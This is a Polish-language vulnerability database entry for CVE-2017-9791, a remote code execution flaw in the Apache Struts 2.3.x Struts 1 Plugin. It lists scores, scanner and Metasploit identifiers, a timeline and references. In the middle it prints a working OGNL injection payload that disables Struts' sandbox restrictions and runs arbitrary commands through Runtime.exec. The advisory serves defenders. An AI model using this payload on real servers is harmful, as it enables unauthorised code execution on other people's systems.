Apache Struts 2.3.x Struts 1 Plugin ActionMessage privilege escalation

CVSS Wynik metatemperaturyExploit Aktualna Cena (≈)Wynik odsetkowy CTI
8.5$0-$5k0.00

Podatność, która została odkryta w Apache Struts 2.3.x (Programming Tool Software). Dotknięta jest nieznana funkcja w komponencie Struts 1 Plugin. Poprzez manipulację jako częścią ActionMessage można doprowadzić do wystąpienia podatności przekroczenie uprawnień. Wpływa to na poufność, spójność i dostępność.

Informacja o podatności została opublikowana w dniu upubliczniona 2017-07-10 (Website). Raport na temat podatności został udostępniony pod adresem struts.apache.org. Podatność ta jest znana jako CVE-2017-9791. Atak może zostać przeprowadzony zdalnie. Eksploitacja nie wymaga żadnej formy uwierzytelnienia. Szczegóły techniczne są nieznane, ale publiczny exploit jest dostępny.

Exploit został stworzony w Python i opublikowany później jeszcze przed, niż raport o błędzie. Exploit można ściągnąć pod adresem exploit-db.com. Uważa się go za bardzo funkcjonalny. Podatność ta była wykorzystywana w exploicie typu 0-day przez co najmniej 3 dni. Skaner podatności Nessus jest wyposażony w plugin ID 101361 (Apache Struts 2.3.x Showcase App Struts 1 Plugin ActionMessage Class Error Message Input Handling RCE), który pomaga ustalić, czy dane środowisko jest podatne na atak. Kod uzywany jest przez wykorzystanie:

payload = "%{"
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd
payload += "}"

Nie są znane żadne środki zaradcze. Sugerowana jest zamiana podatnego komponentu na produkt alternatywny.

Błąd jest również udokumentowany w bazie podatności Tenable (101361) i Exploit-DB (42324).

Produktinfo

Rodzaj

Sprzedawca

Imię

Wersja

Licencja

CPE 2.3info

CPE 2.2info

Filmy

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Wektor: 🔍
VulDB Niezawodność: 🔍

CVSSv3info

VulDB Wynik metabazy: 8.5
VulDB Wynik metatemperatury: 8.5

VulDB Wynik podstawowy: 7.3
VulDB Wynik tymczasowy: 7.3
VulDB Wektor: 🔍
VulDB Niezawodność: 🔍

NVD Wynik podstawowy: 9.8
NVD Wektor: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
WektorMożliwość wykorzystaniaUwierzytelnianiePoufnośćIntegralnośćDostępność
odblokowaćodblokowaćodblokowaćodblokowaćodblokowaćodblokować
odblokowaćodblokowaćodblokowaćodblokowaćodblokowaćodblokować
odblokowaćodblokowaćodblokowaćodblokowaćodblokowaćodblokować

VulDB Wynik podstawowy: 🔍
VulDB Wynik tymczasowy: 🔍
VulDB Niezawodność: 🔍

NVD Wynik podstawowy: 🔍

Exploitinfo

Klasa: Przekroczenie uprawnień
CWE: CWE-20
CAPEC: 🔍
ATT&CK: 🔍

Lokalny: Nie
Zdalny: Tak

Dostępność: 🔍
Dostęp: Publiczny
Status: Bardzo funkcjonalny
Język programowania: 🔍
Pobierać: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

KEV Dodano: 🔍
KEV Due: 🔍
KEV Przeciwdziałanie: 🔍
KEV Ransomware: 🔍

Przewidywanie ceny: 🔍
Aktualny szacunek cena: 🔍

0-Dayodblokowaćodblokowaćodblokowaćodblokować
Dzisiajodblokowaćodblokowaćodblokowaćodblokować

Nessus ID: 101361
Nessus Imię: Apache Struts 2.3.x Showcase App Struts 1 Plugin ActionMessage Class Error Message Input Handling RCE
Nessus Plik: 🔍
Nessus Ryzyko: 🔍
Nessus Family: 🔍

OpenVAS ID: 803838
OpenVAS Imię: Apache Struts2 Showcase Remote Code Execution Vulnerability
OpenVAS Plik: 🔍
OpenVAS Family: 🔍

Saint ID: apache_struts2_struts1_showcase
Saint Imię: Apache Struts 2 Struts 1 plugin Showcase OGNL code execution

Qualys ID: 🔍
Qualys Imię: 🔍

MetaSploit ID: struts2_code_exec_showcase.rb
MetaSploit Imię: Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution
MetaSploit Plik: 🔍

D2Sec: Apache Struts 2 Struts 1 Plugin ActionMessage < 2.3.32 RCE

Exploit-DB: 🔍

Inteligencja Zagrożeńinfo

Wysiłek: 🔍
Aktywni aktorzy: 🔍
Aktywne grupy APT: 🔍

Przeciwdziałanieinfo

Zalecane: wiadomo nie ograniczanie
Status: 🔍

0-dniowy czas: 🔍
Suricata ID: 2024468
Suricata Klasa: 🔍
Suricata Message: 🔍

Oś czasuinfo

2017-06-21 🔍
2017-07-07 +15 dni 🔍
2017-07-07 +0 dni 🔍
2017-07-07 +0 dni 🔍
2017-07-07 +0 dni 🔍
2017-07-10 +3 dni 🔍
2017-07-10 +0 dni 🔍
2017-07-12 +2 dni 🔍
2024-04-22 +2476 dni 🔍

Źródłainfo

Sprzedawca: apache.org

Raport: struts.apache.org
Badacz: icez
Status: Potwierdzone
Potwierdzenie: 🔍

CVE: CVE-2017-9791 (🔍)
SecurityTracker: 1038838 - Apache Struts Bug in 'Struts 1 Plugin' Lets Remote Users Execute Arbitrary Code on the Target System
SecurityFocus: 99484

scip Labs: https://www.scip.ch/en/?labs.20161013
Zobacz także: 🔍

Wpisinfo

Stworzono: 2017-07-12 10:23
Aktualizacje: 2024-04-22 20:23
Zmiany: 2017-07-12 10:23 (51), 2018-01-29 16:08 (44), 2020-12-31 15:15 (2), 2020-12-31 15:21 (3), 2020-12-31 15:25 (1), 2024-04-22 20:23 (23)
Kompletny: 🔍
Cache ID: 3:95B:103

Dyskusja

Brak komentarzy. Języki: pl + en.

Zaloguj się, aby skomentować.

Might our Artificial Intelligence support you?

Check our Alexa App!